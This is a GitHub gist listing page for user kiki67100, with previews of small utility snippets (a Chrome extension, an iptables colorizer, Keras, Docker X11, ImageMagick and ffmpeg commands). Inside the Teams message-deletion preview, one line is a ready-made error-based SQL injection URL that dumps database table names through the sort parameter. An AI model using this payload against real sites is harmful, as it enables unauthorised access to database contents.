Skip to content

Instantly share code, notes, and snippets.

@kiki67100
kiki67100 / .manifest
Created June 8, 2023 11:42 — forked from devjin0617/.manifest
chrome extension using a content script to access the `window` object
{
"content_scripts": [
{
"matches": ["http://*/*", "https://*/*"],
"js": ["inject.js"],
"all_frames": true
}
],
"web_accessible_resources": [
"content.js"
/*kiki67100 github 09/01/2023*/
/*Waiting in javascript a html element perfect for scrapping and more easy to use than MutationObserver */
let check_available_el = function (querySelector, debug = false, fn_on_not_found = null, max_tries = 1000, test_interval = 500) {
return new Promise(function (resolve, reject) {
let iterator_count = 0;
let __interval = setInterval(function () {
iterator_count++;
if (iterator_count > max_tries) {
clearInterval(__interval);
@kiki67100
kiki67100 / iptables_color.txt
Created May 7, 2020 08:16 — forked from nega0/iptables_color.txt
colorize your `iptables` output
## based on the blogpost here: http://blog.sjas.de/posts/colored-iptables-output.html
iptables --line-numbers -vnL |\
sed -E 's/^Chain.*$/\x1b[4m&\x1b[0m/' |\
sed -E 's/^num.*/\x1b[33m&\x1b[0m/' |\
sed -E '/([^y] )((REJECT|DROP))/s//\1\x1b[31m\3\x1b[0m/' |\
sed -E '/([^y] )(ACCEPT)/s//\1\x1b[32m\2\x1b[0m/' |\
sed -E '/([ds]pt[s]?:)([[:digit:]]+(:[[:digit:]]+)?)/s//\1\x1b[33;1m\2\x1b[0m/' |\
sed -E '/([[:digit:]]{1,3}\.){3}[[:digit:]]{1,3}(\/([[:digit:]]){1,3}){0,1}/s//\x1b[36;1m&\x1b[0m/g' |\
sed -E '/([^n] )(LOGDROP)/s//\1\x1b[33;1m\2\x1b[0m/'|\
@kiki67100
kiki67100 / Delete-Teams-Messages.js
Last active June 12, 2024 10:25
Delete batch messages Microsoft Teams
/*
This version is probably out of date, look at the dsci4-hacks ( Thanks to him x) ) instead:
*** not tested ***
https://github.com/dsci4-hacks/Delete-Teams-Messages/blob/main/delete_my_teams_messages.js
Thank you for all your contributions in comments
http://example.com/view_all_set.php?sort=id%2Cstatus%2Cseverity%2Cextractvalue%28null%2Cconcat%280x3a%2C%28SELECT%20group_concat%280x2D%2Ctable_schema%2C0x2E%2Ctable_name%2C0x2D%29%20FROM%20information_schema.tables%20WHERE%20table_schema%20%21%3D%200x6D7973716C%20AND%20table_schema%20%21%3D%200x696E666F726D6174696F6E5F736368656D61%29%2C0x3a%29%29%20--&dir=ASC,ASC,ASC&type=2
@kiki67100
kiki67100 / xor.py
Created December 20, 2017 06:32 — forked from stewartpark/xor.py
Simple XOR learning with keras
from keras.models import Sequential
from keras.layers.core import Dense, Dropout, Activation
from keras.optimizers import SGD
import numpy as np
X = np.array([[0,0],[0,1],[1,0],[1,1]])
y = np.array([[0],[1],[1],[0]])
model = Sequential()
model.add(Dense(8, input_dim=2))
@kiki67100
kiki67100 / simple_keras.py
Created December 20, 2017 06:26 — forked from rosdyana/simple_keras.py
simple keras
import numpy as np
from keras.models import Sequential
from keras.layers import Dense
# dataset
trainX = np.array([1, 2 ,3 ,4 , 5 , 6 , 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24])
trainY = np.array([3, 6, 9, 12, 15, 18, 21, 24, 27, 30, 33, 36, 39, 42, 45, 48, 51, 54, 57, 60, 63, 66, 69, 72])
# create a model
model = Sequential()
@kiki67100
kiki67100 / docker-x11.bash
Created December 14, 2017 09:10
Docker macOS X11 display
### Script to install xquartz and set the DISPLAY variable correctly, find the listen port and add current ip to connect to X11.
#skip if you want, install xquartz
brew cask reinstall xquartz
#get ip
IP=$(ifconfig|grep -E inet.*broad|awk '{ print $2; }')
#open XQuartz
open -a XQuartz &
#Go to preference Security check allow network, restart :
read -p "Go to preference Security check allow network and press a key to continue"
@kiki67100
kiki67100 / Imagemagick.bash
Last active November 4, 2017 07:13
ImageMagick compare multiples images
#Combine all images
convert -verbose *.jpg -combine diff.png
#Using fuss
compare -verbose -fuzz 2% photo-11-03-* diff.jpg
#Only show the difference
compare -verbose *.jpg -compose src diff.png
@kiki67100
kiki67100 / ffmpeg_hardware_acceleration_h264_videotoolbox.bash
Created July 25, 2017 08:15
ffmpeg hardware accelaration mac os
#!/bin/bash
#Verify the quality with difference bitrate ( crf no work with h264_videotoolbox use -b:v )
#You can use the same audio codec change -c:a ac3 to -c:a copy i use it because it work my multimedia player
for bitrate in 500k 1000k 1500k 2500k 3000k 3500k;do
ffmpeg -i Movie.mkv -c:v h264_videotoolbox -c:a ac3 -b:a 128k -y -b:v $bitrate -ss 00:01:00 -t 00:00:10 Movie_$bitrate.mp4;
done
#With 2500k bitrate
ffmpeg -i Movie.mkv -c:v h264_videotoolbox -c:a ac3 -b:a 128k -y -b:v $bitrate -b:a 128k Movie_$bitrate.mp4;